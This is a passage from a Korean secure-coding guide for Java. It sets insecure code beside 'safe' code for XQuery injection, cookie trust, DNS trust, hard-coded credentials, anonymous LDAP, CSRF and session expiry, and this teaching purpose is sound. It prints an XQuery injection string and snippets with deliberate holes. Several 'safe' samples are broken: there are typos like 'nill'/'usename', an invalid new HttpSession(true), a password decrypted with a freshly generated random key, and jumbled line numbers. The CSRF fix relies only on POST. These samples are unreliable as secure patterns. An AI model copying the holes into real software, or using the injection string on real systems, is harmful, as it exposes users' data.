위의 예제는 외부의 입력(name)값을 executeQuery를 사용한 질의생성의 문자열 인자 생성에 사용하고 있다. 만일 다음과 something' or '='1 을 name의 값으로 전달하면 아래와 같은 질의문을 수행할 수 있으며, 이를 통해 파일 내의 모든 값을 출력할 수 있게 된다.

(doc('users.xml')/userlist/user[uname='something' or '=')
안전한 코드 예제
1: ……
2: // 외부로 부터 입력을 받음
3: String name = props.getProperty("name");
4: Hashtable env = new Hashtable();
5: env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
6: env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
7: javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8: javax.xml.xquery.XQDataSource xqds =
9: (javax.xml.xquery.XQDataSource) ctx.lookup("xqj/personnel");
10: javax.xml.xquery.XQConnection conn = xqds.getConnection();
11:
12: String es = "doc('users.xml')/userlist/user[uname='$xpathname']";
13: // 입력값이 Xquery의 인자로 사용
14: XQPreparedExpression expr = conn.prepareExpression(es);
15: expr.bindString(new QName("xpathname"), name, null);
16: XQResultSequence result = expr.executeQuery();
17: while (result.next()) {
18: String str = result.getAtomicValue();
19: if (str.indexOf('>') < 0) {
20: System.out.println(str);
21: }
22: ……

위와 같이 외부입력 값을 받고 해당 값 기반의 XQuery상의 질의 구조를 변경시키지 않는 bindXXX 함수를 이용함으로써 외부의 입력으로 인하여 질의 구조가 바뀌는 것을 막을 수 있다.

라. 참고 문헌

[1] CWE-652 XQuery 삽입 - http://cwe.mitre.org/data/definitions/652.html
[2] OWASP Top 10 2010 A1 Injection Flaws

25. 보안결정을 신뢰할 수 없는 입력 값에 의존(Reliance on Untrusted Inputs in a Security Decision)

가. 정의

응용프로그램의 보안결정이 입력값의 내용에 의지하는 경우에 발생하는 취약점이다.
입력값이 신뢰할 수 없는 사용자에 의해서 변조되는 경우 응용프로그램의 보호수단을 피해갈 수 있는 방법을 제공하게 된다.

나. 안전한 코딩기법

시스템의 상태정보와 중요한 정보는 서버에만 저장한다.
중요한 정보를 클라이언트 쪽에 저장할 경우, 암호화와 무결성 검사를 거친 데이터만 저장되도록 한다.
외부입력과 관련된 검사가 자바스크립트를 통해 브라우저에서 이루어지더라도 서버 측에서 재검사를 한다.

다. 예제

안전하지 않는 코드 예제
1: <%
2: String username = request.getParameter("username");
3: String password = request.getParameter("password");
4: if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5: throw new MyException("인증 에러");
6: }
7: Cookie userCookie = new Cookie("user" ,username);
8: Cookie authCookie = new Cookie("authenticated" ,"1" );
9:
10: response.addCookie(userCookie);
11: response.addCookie(authCookie);
12: %>

평문으로 사용자의 인증정보 및 “authenticated”를 쿠키에 저장하고 있다. 공격자는 쿠키정보를 변경 가능하기 때문에 중요한 정보를 쿠키에 저장시에는 암호화해서 사용하고, 가급적 해당정보는 WAS(Web Application Server) 서버의 세션에 저장한다.

안전한 코드 예제
1: <%
2: String username = request.getParameter("username");
3: String password = request.getParameter("password");
4: if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5: throw new MyException("인증 에러");
6: }
7: // 사용자 정보를 세션에 저장한다.
8: HttpSession ses = new HttpSession(true);
9: ses.putValue("user",username);
10: ses.putValue("authenticated","1" );
11: %>

사용자의 인증정보를 세션에 저장함으로써 인증정보가 외부에 노출될 가능성은 없다.

라. 참고 문헌

[1] CWE-807 보안결정을 신뢰할 수 없는 입력값에 의존 - http://cwe.mitre.org/data/definitions/807.html
CWE-247 보안 결정시 DNS Lookup에 의존 - http://cwe.mitre.org/data/definitions/247.html
CWE-302 허위-불변 데이터로 인증우회 - http://cwe.mitre.org/data/definitions/302.html
CWE-784 보안 의사결정에서 검증 및 무결성 점검 없이 쿠키신뢰 - http://cwe.mitre.org/data/definitions/784.html
[2] CWE/SANS Top 25 Most Dangerous Software Errors

2절. API 악용

API(Application Programming Interface)는 운영체제와 응용프로그램간의 통신에 사용되는 언어나 메시지 형식 또는 규약으로, 응용 프로그램 개발시 개발 편리성 및 효율성을 제공하는 이점이 있다. 그러나 API 오용 및 취약점이 알려진 API의 사용은 개발효율성 및 유지보수성의 저하 및 보안상의 심각한 위협요인이 될 수 있다.

1. J2EE: 직접 연결 관리(J2EE Bad Practices: Direct Management of Connections)

가. 정의

J2EE 애플리케이션이 컨테이너에서 제공하는 자원 연결 관리를 사용하지 않고 직접 제작하는 경우 에러를 유발할 수 있기 때문에 J2EE 표준에서 금지하고 있다.

나. 안전한 코딩기법

J2EE 애플리케이션이 컨테이너에서 제공하는 연결 관리 기능을 사용한다.

다. 예제

안전하지 않는 코드 예제
1: public class U245 extends javax.servlet.http.HttpServlet {
2: private Connection conn;
3:
4: public void dbConnection(String url, String user, String pw) {
5: try {
6: // j2ee 서블릿에서 자원에 대한 연결을 직접 얻는다.
7: conn = DriverManager.getConnection(url, user, pw);
8: } catch (SQLException e) {
9: System.err.println("...");
10: } finally {
11: ……
12: }

연결(connection)을 직접 관리 하면 안된다.

안전한 코드 예제
1: public class S245 extends javax.servlet.http.HttpServlet {
2: private static final String CONNECT_STRING = "jdbc:ocl:orcl";
3:
4: public void dbConnection() throws NamingException, SQLException {
5: Connection conn = null;
6: try {
7: // 자원관리기능을 이용해서 자원에 대한 연결을 얻는다.
8: InitialContext ctx = new InitialContext();
9: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
10: conn = datasource.getConnection();
11: } catch (SQLException e) {
12: ……
13: } finally {
14: if ( conn != null )
15: conn.close();
16: }
17: }

자원 관리 기능을 사용하여 자원에 대한 연결을 얻어야 한다.

라. 참고 문헌

[1] CWE-245 J2EE: 직접 연결 관리 - http://cwe.mitre.org/data/definitions/245.html

2. J2EE: 직접 소켓 사용(J2EE Bad Practices: Direct Use of Sockets)

가. 정의

J2EE 애플리케이션이 프레임워크 메소드 호출을 사용하지 않고, 소켓을 직접 사용하는 경우 채널 보안, 에러 처리, 세션 관리 등 다양한 고려 사항이 필요하다.

나. 안전한 코딩기법

소켓을 직접 사용하는 대신에 프레임워크에서 제공하는 메소드 호출을 사용해야 한다.

다. 예제

안전하지 않는 코드 예제
1: public class S246 extends javax.servlet.http.HttpServlet {
2: private Socket socket;
3:
4: protected void doGet(HttpServletRequest request,
5: HttpServletResponse response) throws ServletException {
6: try {
7: // J2EE 응용프로그램에서 프레임워크 메소드 호출 대신에 소켓(Socket)을 직접
사용하고 있다.
8: socket = new Socket("kisa.or.kr", 8080);
9: } catch (UnknownHostException e) {
10: System.err.println("UnknownHostException occured");
11: } catch (IOException e) {
12: System.err.println("IOException occured");
13: } finally {
14: ...
15: }
16: }
17: }

doGet 메소드 내에서 소켓(Socket)을 직접 사용하면 위험하다.

안전한 코드 예제
1: public class S246 extends javax.servlet.http.HttpServlet {
2: protected void doGet(HttpServletRequest request,
3: HttpServletResponse response) throws ServletException {
4: ObjectOutputStream oos = null;
5: ObjectInputStream ois = null;
6: try {
7: // 타겟이 WAS로 작성이 되면 URL Connection을 이용하거나, EJB를 통해서 호출한다.
8: URL url = new URL("http://127.0.0.1:8080/DataServlet");
9: URLConnection urlConn = url.openConnection();
10: urlConn.setDoOutput(true);
11: oos = new ObjectOutputStream(urlConn.getOutputStream());
12: oos.writeObject("data");
13: ois = new ObjectInputStream(urlConn.getInputStream());
14: Object obj = ois.readObject();
15: } catch (ClassNotFoundException e) {
16: System.err.println("Class Not Found");
17: } catch (IOException e) {
18: System.err.println("URL Connection Error occured");
19: } finally {
20: ……
21: }
22: }
23: }

자원 관리 기능을 사용하여 자원에 대한 연결을 얻어야 한다.

라. 참고 문헌

[1] CWE-246 J2EE: 직접 소켓 사용 - http://cwe.mitre.org/data/definitions/246.html

3. 보안 결정시 DNS lookup에 의존(Reliance on DNS Lookups in a Security Decision )

가. 정의

공격자가 DNS 엔트리를 속일 수 있다. 보안 상 DNS 명에 의존하면 안 된다. DNS 서버는 스푸핑 공격 대상이며, SW가 훼손된 DNS 서버 환경에서 언젠가는 실행될 수 있음을 가정하여야 한다. 만일 공격자가 DNS를 수정할 수 있다면, 공격자 IP 주소로 도메인명을 지정할 수 있다.

나. 안전한 코딩기법

IP 주소도 조작 가능하지만 DNS 이름보다는 안전하다.

다. 예제

안전하지 않는 코드 예제
1: public class U247 extends HttpServlet {
2: public void doGet(HttpServletRequest req, HttpServletResponse res)
3: throws ServletException, IOException {
4: boolean trusted = false;
5: String ip = req.getRemoteAddr();
6:
7: // 호스트의 IP 주소를 얻어온다.
8: InetAddress addr = InetAddress.getByName(ip);
9:
10: // 호스트의 IP정보와 지정된 문자열(trustme.com)이 일치하는지 검사한다.
11: if (addr.getCanonicalHostName().endsWith(" trustme.com" ) ) {
12: trusted = true;
13: }
14: if (trusted) {
15: ……
16: } else {
17: ……
18: }
19: }
20: }

DNS 이름을 통해 해당 요청이 신뢰할 수 있는지를 검사한다. 그러나 공격자가 DNS 캐쉬등을 조작하면 잘못된 신뢰 상태 정보를 얻을 수 있다..

안전한 코드 예제
1: public class S247 extends HttpServlet {
2:
3: public void doGet(HttpServletRequest req, HttpServletResponse res)
4: throws ServletException, IOException {
5:
6: String ip = req.getRemoteAddr();
7: if ( ip == null || "".equals(ip) )
8: return ;
9:
10: String trustedAddr = "127.0.0.1";
11:
12: if (ip.equals(trustedAddr) ) {
13: ……
14: } else {
15: ……
16: }
17: }
18: }

DNS lookup에 의한 호스트 이름 비교를 하지 않고 IP 주소를 직접 비교하도록 수정한다.

라. 참고 문헌

[1] CWE-247 보안 결정시 DNS lookup에 의존 - http://cwe.mitre.org/data/definitions/247.html
[2] SANS Top 25 2010 - (SANS 2010) Porus Defense - CWE ID 807 Reliance on Untrusted Inputs in a Security Decision

4. J2EE: System.exit() 사용(J2EE Bad Practices:Use of System.exit())

가. 정의

J2EE 응용프로그램에서 System.exit()의 사용은 컨테이너까지 종료시킨다.

나. 안전한 코딩기법

J2EE 프로그램에서 System.exit를 사용해서는 안 된다.

다. 예제

안전하지 않는 코드 예제
1: public class U382 extends HttpServlet {
2: public void doPost(HttpServletRequest request, HttpServletResponse response)
3: throws ServletException, IOException {
4:
5: FileHandler handler = new FileHandler("errors.log");
6: Logger logger = Logger.getLogger("com.mycompany");
7: logger.addHandler(handler);
8: try {
9: do_something(logger);
10: } catch (IOException ase) {
11: // J2EE 프로그램에서 System.exit()을 사용
12: System.exit(1);
13: }
14: }
15:
16: private void do_something(Logger logger) throws IOException {
17: }
18: }

doPost() 메소드 내에서 System.exit()를 호출하면 컨테이너까지 종료된다.

안전한 코드 예제
1: public class S382 extends HttpServlet {
2: public void doPost(HttpServletRequest request, HttpServletResponse response)
3: throws ServletException, IOException {
4:
5: FileHandler handler = new FileHandler("errors.log");
6: Logger logger = Logger.getLogger("com.mycompany");
7: logger.addHandler(handler);
8: try {
9: do_something(logger);
10: } catch (IOException ase) {
11: logger.info("Caught: " + ase.toString());
12: //System.exit(1)의 사용을 금한다.
13: //System.exit(1);
14: }
15: }
16:
17: private void do_something(Logger logger) throws IOException {
18: }
19: }

System.exit()를 호출하지 않고 doPost 메소드를 종료한다.

라. 참고 문헌

[1] CWE-382 J2EE: System.exit() 사용 - http://cwe.mitre.org/data/definitions/382.html

5. null 매개변수 미검사(Missing Check for Null Parameter)

가. 정의

Java 표준에 따르면 Object.equals(), Comparable.compareTo() 및 Comparator.compare()의 구현은 매개변수가 null인 경우 지정된 값을 반환해야 한다. 이 약속을 따르지 않으면 예기치 못한 동작이 발생할 수 있다.

나. 안전한 코딩기법

Object.equals(), Comparable.compareTo()과 Comparator.compare() 구현에서는 매개변수를 null과 비교해야 한다.

다. 예제

안전하지 않는 코드 예제
1: public class U9201 implements java.util.Comparator {
2: public int compare(Object o1, Object o2) {
3: //o1, o2에 대한 null 체크 유무가 없음
4: int i1 = o1.hashCode();
5: int i2 = o2.hashCode();
6: int ret;
7: if (i1 > i2) { ret = 1; }
8: else if (i1 == i2) { ret = 0; }
9: else { ret = -1; }
10: return ret;
11: }
12: ……
13: }

매개 변수가 null인지 검사하지 않았다.

안전한 코드 예제
1: public class S9201 implements java.util.Comparator {
2: public int compare(Object o1, Object o2) {
3: int ret;
4: // 비교되는 객체에 대한 null 여부를 점검을 한다.
5: if (o1 != null && o2 != null) {
6: int i1 = o1.hashCode();
7: int i2 = o2.hashCode();
8: if (i1 > i2) { ret = 1; }
9: else if (i1 == i2) { ret = 0; }
10: else { ret = -1; }
11: } else
12: ret = -1;
13: return ret;
14: }
15: ……
16: }

매개 변수가 null인지 먼저 검사한다.

라. 참고 문헌

[1] CWE-398 부족한 코드 품질 지시자 - http://cwe.mitre.org/data/definitions/398.html

6. EJB: 소켓 사용(EJB Bad Practices: Use of Sockets)

가. 정의

Enterprise JavaBeans(EJB) 규격에는 bean내부에서 서버 소켓(ServerSocket)을 직접 사용하여 클라이언트에 서비스를 제공하는 것을 금지하고 있다. EJB 컨테이너 내의 bean은 모두 EJB 클라이언트에 대해서 네트워크 서버 형태로 서비스를 제공하도록 설계되어 있는데 bean 내에서 다시 ServerSocket을 생성 할 경우 구조적인 혼동을 야기할 수 있기 때문이다.

나. 안전한 코딩기법

EJB 프로그램에서 서버 소켓을 사용하지 않는다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void function_test() throws IOException {
3: ServerSocket s = new ServerSocket(1122);
4: Socket clientSocket = serverSocket.accept();
5: ……
6: }
7: ……

EJB 프로그램에서 서버 소켓을 사용하면 안 된다.

안전한 코드 예제
1: ……
2: public void function_test() throws IOException {
3: //EJB기반에서 server socket 사용을 금한다.
4: //ServerSocket s = new ServerSocket(1122);
8: //Socket clientSocket = serverSocket.accept();
9: ……
5: }
6: ……

EJB 프로그램에서 서버 소켓을 사용하면 안 된다.

라. 참고 문헌

[1] CWE-577 EJB: 소켓 사용 - http://cwe.mitre.org/data/definitions/577.html

7. equals()와 hashCode() 하나만 정의(Object Model Violation: Just one of equals() and hashCode() Defined)

가. 정의

Java 표준에 따르면, Java의 같은 객체는 같은 해시코드를 가져야 한다.
즉 “a.equals(b) == true”이면 “a.hashCode() == b.hashCode()” 이어야 한다. 따라서 한 클래스 내에서 equals()와 hashCode()는 둘 다 구현하거나 둘 다 구현하지 않아야 한다.

나. 안전한 코딩기법

한 클래스 내에 equals()를 정의하면 hashCode()도 정의해야 하고 hashCode()를 정의하면 equals()도 정의해야 한다.

다. 예제

안전하지 않는 코드 예제
1: public class U581 {
2: ……
3: // equals()만 구현
4: public boolean equals(Object obj) {
5: boolean ret;
6: if (obj != null) {
7: int i1 = this.hashCode();
8: int i2 = obj.hashCode();
9: if (i1 == i2) { ret = true; }
10: else { ret = false; }
11: } else {
12: ret = false;
13: }
14: return ret;
15: }
16: ……
17: }

equals()와 hashCode() 중 하나만 정의하였다.

안전한 코드 예제
1: public class S581 {
2: ……
3: // 자신의 객체와 비교하는 equals() 구현
4: public boolean equals(Object obj) {
5: boolean ret;
6: if (obj != null) {
7: int i1 = this.hashCode();
8: int i2 = obj.hashCode();
9: if (i1 == i2) { ret = true; }
10: else { ret = false; }
11: } else {
12: ret = false;
13: }
14: return ret;
15: }
16: // hashCode() 구현
17: public int hashCode() {
18: return new HashCodeBuilder(17, 37).toHashCode();
19: }
20: ……
21: }

equals()와 hashCode() 모두 정의해야 한다.

라. 참고 문헌

[1] CWE-581 equals()와 hashCode() 하나만 정의 - http://cwe.mitre.org/data/definitions/581.html

3절. 보안특성

기본적인 보안 기능을 다룰 때는 세심한 주의가 필요하다. 부적절한 보안특성의 사용은 오히려 성능이나 부가적인 문제를 불러 올 수도 있다. 보안특성에는 인증, 접근제어, 기밀성, 암호화, 권한 관리 등이 포함된다.

1. 하드코드된 패스워드(Hard-coded Password)

가. 정의

SW가 코드 내부에 하드코드된 패스워드를 포함하고, 이를 이용하여 내부 인증에 사용하거나 외부 컴포넌트와 통신을 하는 것은 위험하다. 코드 내부에 하드코드된 패스워드가 인증 실패를 야기하는 경우 시스템 관리자가 그 실패의 원인을 탐지하는 것은 어렵다. 원인이 파악이 되더라도 하드코드된 패스의 수정이 어렵기 때문에, 시스템 관리자는 SW 시스템 전체를 중지시켜 해결해야 하는 경우가 발생할 수 있다.

나. 안전한 코딩기법

패스워드는 암호화하여 별도의 파일에 저장하여 사용하는 것이 바람직하다.
SW 설치 시 사용하는 디폴트 패스워드, 키 등을 사용하는 대신 “최초-로그인” 모드를 두어 사용자가 직접 강력한 패스워드나 키를 입력하도록 설계한다.

다. 예제

안전하지 않는 코드 예제
1: public class U259 {
2: private Connection conn;
3:
4: public Connection DBConnect(String url, String id) {
5: try {
6: // password가 하드-코드 되어있다.
7: conn = DriverManager.getConnection(url, id, "tiger");
8: } catch (SQLException e) {
9: System.err.println("...");
10: }
11: return conn;
12: }
13: ……
14: }

데이터베이스를 연결하기 위하여 코드 내부에 상수 형태로 정의된 패스워드를 사용하면 프로그램에 취약점을 야기할 수 있다.

안전한 코드 예제
1: public class S259 {
2: public Connection connect(Properties props) throws NoSuchAlgorithmException,
NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException,
BadPaddingException {
3: try {
4: String url = props.getProperty("url");
5: String id = props.getProperty("id");
6: String pwd = props.getProperty("passwd" );
7:
8: //외부 설정 파일에서 패스워드를 가져오며, 패스워드가 값이 있는지 체크하고 있음
9: if (url != null && !"".equals(url) && id != null && !"".equals(id)
10: && pwd != null && !"".equals(pwd)) {
11: KeyGenerator kgen = KeyGenerator.getInstance("Blowfish");
12: SecretKey skey = kgen.generateKey();
13: byte[] raw = skey.getEncoded();
14: SecretKeySpec skeySpec = new SecretKeySpec(raw, "Blowfish");
15:
16: Cipher cipher = Cipher.getInstance("Blowfish");
17: cipher.init(Cipher.DECRYPT_MODE, skeySpec);
18: byte[] decrypted_pwd = cipher.doFinal(pwd.getBytes());
19: pwd = new String(decrypted_pwd);
20: conn = DriverManager.getConnection(url, id, pwd);
21: }
22: } catch (SQLException e) {
23: …

데이터베이스를 사용하는 프로그램 작성시 패스워드를 구하는 로직을 따로 구현하여, 주어진 로직에 의하여 검증된 패스워드를 사용한다.

안전하지 않는 코드 예제
1: try {
2: Connection con = DriverManager.getConnection(url, "scott" , " tiger" );
3: ......
4: } catch (SQLException e) {
5: throw new MyException("DB 에러“);
6: }

DB Connection 객체를 생성할 때, 디폴트 설치시 제공되는 계정을 사용하고 있다.
패스워드가 프로그램 내에 하드 코딩되어 있어 외부에 노출되기 쉽다.

안전한 코드 예제
1: /* mkstore -wrl /mydir -createCredential MyTNSName some_user some_password */
2: try {
3: System.setProperty("oracle.net.tns_admin", "/mydir");
4: java.util.Properties info = new java.util.Properties();
5: // DB 커넥션을 위한 계정은 oracle 기능을 사용한다.
6: info.put("oracle.net.wallet_location",
7: " (SOURCE=(METHOD=file)(METHOD_DATA=(DIRECTORY=/mydir)))" );
8: OracleDataSource ds = new OracleDataSource();
9: ds.setURL("jdbc:oracle:thin:@MyTNSName");
10: ds.setConnectionProperties(info);
11: Connection conn = ds.getConnection();
12: } catch (SQLException e) {
13: throw new MyException("DB 에러“);
14: }

오라클 툴인 mkstore를 사용하여 DB 계정을 암호화하여 사용한다.

라. 참고 문헌

[1] CWE-259 하드코드된 패스워드 - http://cwe.mitre.org/data/definitions/259.html
CWE-321 하드코드된 암호화키 - http://cwe.mitre.org/data/definitions/321.html
CWE-798 하드코드된 증명서 - http://cwe.mitre.org/data/definitions/798.html
[2] SANS Top 25 2010 - (SANS 2010) Porus Defense - CWE ID 798 Use of Hard-coded Credentials

2. 부적절한 인가(Improper Authorization)

가. 정의

SW가 모든 가능한 실행경로에 대해서 접근제어를 검사하지 않거나 불완전하게 검사하는 경우, 공격자는 접근가능한 실행경로를 통해 정보를 유출할 수 있다.

나. 안전한 코딩기법

응용프로그램이 제공하는 정보와 기능을 역할에 따라 배분함으로써 공격자에게 노출되는 공격표면(attack surface)을 감소시킨다.
사용자의 권한에 따른 ACL(Access Control List)을 관리한다.
※ 프레임워크를 사용해서 취약점을 피할 수 있다. 예를 들면, JAAS Authorization Framework나 OWASP ESAPI Access Control 등이 인증 프레임워크로 사용 가능하다.

다. 예제

안전하지 않는 코드 예제
1: public void f(String sSingleId, int iFlag, String sServiceProvider, String sUid, String sPwd)
{
2: ……
3: env.put(Context.INITIAL_CONTEXT_FACTORY, CommonMySingleConst.INITCTX);
4: env.put(Context.PROVIDER_URL, sServiceProvider);
5: // 익명으로 LDAP 인증을 사용
6: env.put(Context.SECURITY_AUTHENTICATION, "none");
7: env.put(Context.SECURITY_PRINCIPAL, sUid);
8: env.put(Context.SECURITY_CREDENTIALS, sPwd);
9: ……

외부의 입력인 name 값이 필터가 아닌 동적인 LDAP 질의문에서 사용자명으로 사용되었으며, 사용자 인증을 위한 별도의 접근제어 방법이 사용되지 않고 있다. 이는 anonymous binding을 허용하는 것으로 볼 수 있다. 따라서 임의 사용자의 정보를 외부에서 접근할 수 있게 된다.

안전한 코드 예제
1: public void f(String sSingleId, int iFlag, String sServiceProvider, String sUid, String sPwd)
{
2: ……
3: env.put(Context.PROVIDER_URL, sServiceProvider);
4: // 익명의 인증을 사용하지 않는다.
5: env.put(Context.SECURITY_AUTHENTICATION, "simple");
6: env.put(Context.SECURITY_PRINCIPAL, sUid);
7: env.put(Context.SECURITY_CREDENTIALS, sPwd);
8: ……

사용자 ID와 password를 컨텍스트에 설정한 후 접근하도록 접근제어를 사용한다.

안전하지 않는 코드 예제
1: <%
2: String username = request.getParameter("username");
3: String password = request.getParameter("password");
4: if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5: throw new Exception("invalid username or password");
6: }
7:
8: String msgId = request.getParameter("msgId");
9: if ( msgId == null ) {
10: throw new MyException("데이터 오류");
11: }
12: Message msg = LookupMessageObject(msgId);
13: if ( msg != null ) {
14: out.println("From: " + msg.getUserName()");
15: out.println("Subject: " + msg.getSubField()");
16: out.println("\n" + msg.getBodyField()");
17: }
18: %>

인증이 성공적으로 끝나면, 어떤 메시지도 조회가능하다. 즉 타인의 메시지 정보를 볼 수가 있다.

안전한 코드 예제
1: <%
2: String username = request.getParameter("username");
3: String password = request.getParameter("password");
4: if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5: throw new MyException("인증 에러");
6: }
7:
8: String msgId = request.getParameter("msgId");
9: if ( msgId == null ) {
10: throw new MyException("데이터 오류");
11: }
12: Message msg = LookupMessageObject(msgId);
13:
14: if ( msg != null && username.equals(msg.getUserName()) ) {
15: out.println("From: " + msg.getUserName()");
16: out.println("Subject: " + msg.getSubField()");
17: out.println("\n" + msg.getBodyField()");
18: } else { throw new MyException("권한 에러“); }
19: %>

인증한 사용자와 메시지 박스 사용자가 일치했을 경우, 해당 메시지를 조회하도록 한다.

라. 참고 문헌

[1] CWE-285 부적절한 인가 - http://cwe.mitre.org/data/definitions/285.html
CWE-219 웹 루트 아래 민감한 데이터 - http://cwe.mitre.org/data/definitions/219.html
[2] OWASP Top 10 2010 - (OWASP 2010) A8 Failure to Restrict URL Access
[3] SANS Top 25 2010 - (SANS 2010) Porus Defense - CWE ID 285 Improper Authorization
[4] NIST. “Role Based Access Control and Role Based Security”
[5] M. Howard and D. LeBlanc. “Writing Secure Code”. Chapter 4, “Authorization” Page 114;
Chapter 6, “Determining Appropriate Access Control” Page 171. 2nd Edition. Microsoft. 2002

3. 사이트 간 요청 위조(Cross-Site Request Forgery (CSRF))

가. 정의

CSRF 공격은 악의적인 웹 사이트가 사용자의 웹 브라우져로 하여금 신뢰하는 사이트에서 원치 않는 행동을 취하도록 할 때 발생한다. 공격자는 사용자가 인증한 세션이 특정 동작을 수행하여도 계속 유지되어 정상적인 요청과 비정상적인 요청을 구분하지 못하는 점을 악용하여 피해가 발생한다.
웹 응용프로그램에 요청을 전달할 경우, 해당 요청의 적법성을 입증하기 위하여 전달되는 값이 고정되어 있고 이러한 자료가 GET 방식으로 전달된다면 공격자가 이를 쉽게 알아내어 원하는 요청을 보냄으로써 위험한 작업을 요청할 수 있게 된다.

나. 안전한 코딩기법

form data posting에 있어서 POST 방식을 사용한다.
OWASP CSRFGuard 등의 anti-CSRF 패키지를 사용한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: <form name="MyForm" method="get" action="customer.do">
3: <input type=text name="txt1">
4: <input type=submit value="보내기">
5: </form>
6: ……

GET방식은 단순히 form 데이터를 URL 뒤에 덧붙여서 전송하기 때문에 GET 방식의 form을 사용하면 전달 값이 노출되므로 CSRF 공격에 쉽게 노출될 수 있다.

안전한 코드 예제
1: ……
2: <form name="MyForm" method="post" action="customer.do">
3: <input type=text name="txt1">
4: <input type=submit value="보내기">
5: </form>
6:

Post 방식을 사용하여 위협을 완화한다.

라. 참고 문헌

[1] CWE-352 사이트 간 요청 위조 - http://cwe.mitre.org/data/definitions/352.html
[2] OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)
[3] SANS Top 25 2010 - (SANS 2010) Insecure Interaction - CWE ID 352 Cross-Site Request Forgery

4. 적절하지 못한 세션 만료(Insufficient Session Expiration)

가. 정의

웹사이트에서 공격자가 인증에 사용된 기존 세션 인증 정보 또는 세션 아이디의 재사용을 허용하는 경우 발생한다.

나. 안전한 코딩기법

세션의 만료시간을 정해줄 때에는 적당한 양수를 사용하여 일정 시간이 흐르면 세션이 종료되도록 하여야 한다.

다. 예제

안전하지 않는 코드 예제
1: public class U613 extends HttpServlet {
2: public void noExpiration(HttpSession session) {
3: if (session.isNew()) {
4: // 만료시간이 -1으로 세팅되어 세션이 절대로 끝나지 않는다.
5: session.setMaxInactiveInterval(-1);
6: }
7: }
8: }

세션의 만료시간을 -1로 세팅하여, 세션이 절대로 끝나지 않도록 설정했다. 이와 같은 경우는 프로그램에 취약점을 야기할 수 있다..

안전한 코드 예제
1: public class S613 extends HttpServlet {
2: public void noExpiration(HttpSession session) {
3: if (session.isNew()) {
4: // 세션이 끝날 수 있도록 적절한 양의 정수값으로 설정한다.
5: session.setMaxInactiveInterval(12000);
6: }
7: }
8: }

애플리케이션의 특성에 따라 일정 시간이 흐르면 세션이 종료될 수 있도록 적당한 양의 정수값을 설정하여야 한다.

라. 참고 문헌

[1] CWE-613 적절하지 못한 세션 만료 - http://cwe.mitre.org/data/definitions/613.html

5. 패스워드 관리: 힙메모리 조사(Password Management: Heap Inspection)

가. 정의

보안상 중요한 데이터를 String 객체에 저장하면 보안상 위험하다. 자바의 String 객체는 수정불가능(immutable)하기 때문에, JVM의 가비지콜렉터가 동작하기 전까지 항상 메모리에 상주해 있으며, 프로그램에서 이 메모리를 해제할 수 없다. 따라서 애플리케이션의 실행이 비정상적으로 중단되어, 메모리 덤프가 일어나는 경우에 애플리케이션의 보안관련 데이터가 외부에 노출될 수 있다.

나. 안전한 코딩기법

패스워드를 String 객체에 저장하는 것은 위험하므로, 변경이 가능한 객체에 저장해야 한다. 또한 사용 후에는 내용을 메모리에서 소거해야 한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: // private static final long serialVersionUID = 1L;
3: protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
4: ……
5: }
6:
7: protected void doPost(HttpServletRequest request, HttpServletResponse response) {
8: String pass = request.getParameter("pass");
9:
10: if (pass != null) {
11: if (-1 != pass.indexOf("<"))
12: System.out.println("bad input");
13: else {
14: // 패스워드를 힙 메모리에 저장하면 취약하다.
15: String str = new String(pass);
16: }
17: } else { System.out.println("bad input"); }
18: }
19: ……

위 예제는 패스워드를 문자형 배열에서 String 타입으로 변형하여 저장함으로써 취약점이 발생한 경우이다.

안전한 코드 예제
1: ……
2: // private static final long serialVersionUID = 1L;
3: protected void doGet(HttpServletRequest request,
4: HttpServletResponse response) throws ServletException, IOException {
5: ……
6: }
7:
8: protected void doPost(HttpServletRequest request, HttpServletResponse response) {
9: // 외부로 부터 입력을 받는다.
10: String pass = request.getParameter("psw");
11: // 입력값을 체크한다.
12: if (pass != null) {
13: if (-1 != pass.indexOf("<"))
14: System.out.println("bad input");
15: else {
16: // password를 힙 메모리에 저장하지 않아야 한다..
17: //String str = new String(pass);
18: }
19: } else { System.out.println("bad input"); }
20: }
21: ……

보안상 중요한 데이터(예: 패스워드)는 ‘변경이 가능한 객체’에 저장하여 사용해야 하며, 메모리에서 소거하는 로직을 구현해야 한다. 더 이상 사용되지 않는다면 즉시 메모리에서 소거해야 한다.

라. 참고 문헌

[1] CWE-226 해제 전에 삭제되지 않은 민감한 정보 - http://cwe.mitre.org/data/definitions/226.html
[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

6. 하드코드된 사용자 계정(Hard-coded Username)

가. 정의

SW가 코드 내부에 고정된 사용자 계정 이름을 포함하고, 이를 이용하여 내부 인증에 사용하거나 외부 컴포넌트와 통신을 하는 것은 위험하다. 코드 내부에 하드코드된 사용자 계정이 인증 실패를 야기하게 되면, 시스템 관리자가 그 실패의 원인을 찾아내기가 매우 어렵다. 원인이 파악이 되더라도 하드코드된 패스워드를 수정해야 하기 때문에, 시스템 관리자는 SW 시스템 전체를 중지시켜 해결해야 하는 경우가 발생할 수 있다.

나. 안전한 코딩기법

패스워드는 암호화하여 사용하는 것이 바람직하다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: private Connection conn;
3:
4: // 계정과 비밀번호를 상수로 정의하면 취약하다.
5: public Connection DBConnect() {
6: String url = "DBServer";
7: String id = "scott" ;
8: String password = " tiger";
9:
10: try {
11: conn = DriverManager.getConnection(url, id, password);
12: } catch (SQLException e) { …… }
13: return conn;
14: }

위 예제는 코드 내부에 사용자 이름과 패스워드를 상수로 설정하여, 별도의 인증 과정없이 로그인이 가능하도록 작성되었다. 이는 프로그램에 취약점을 야기시킨다.

안전한 코드 예제
1: ……
2: private Connection conn;
3:
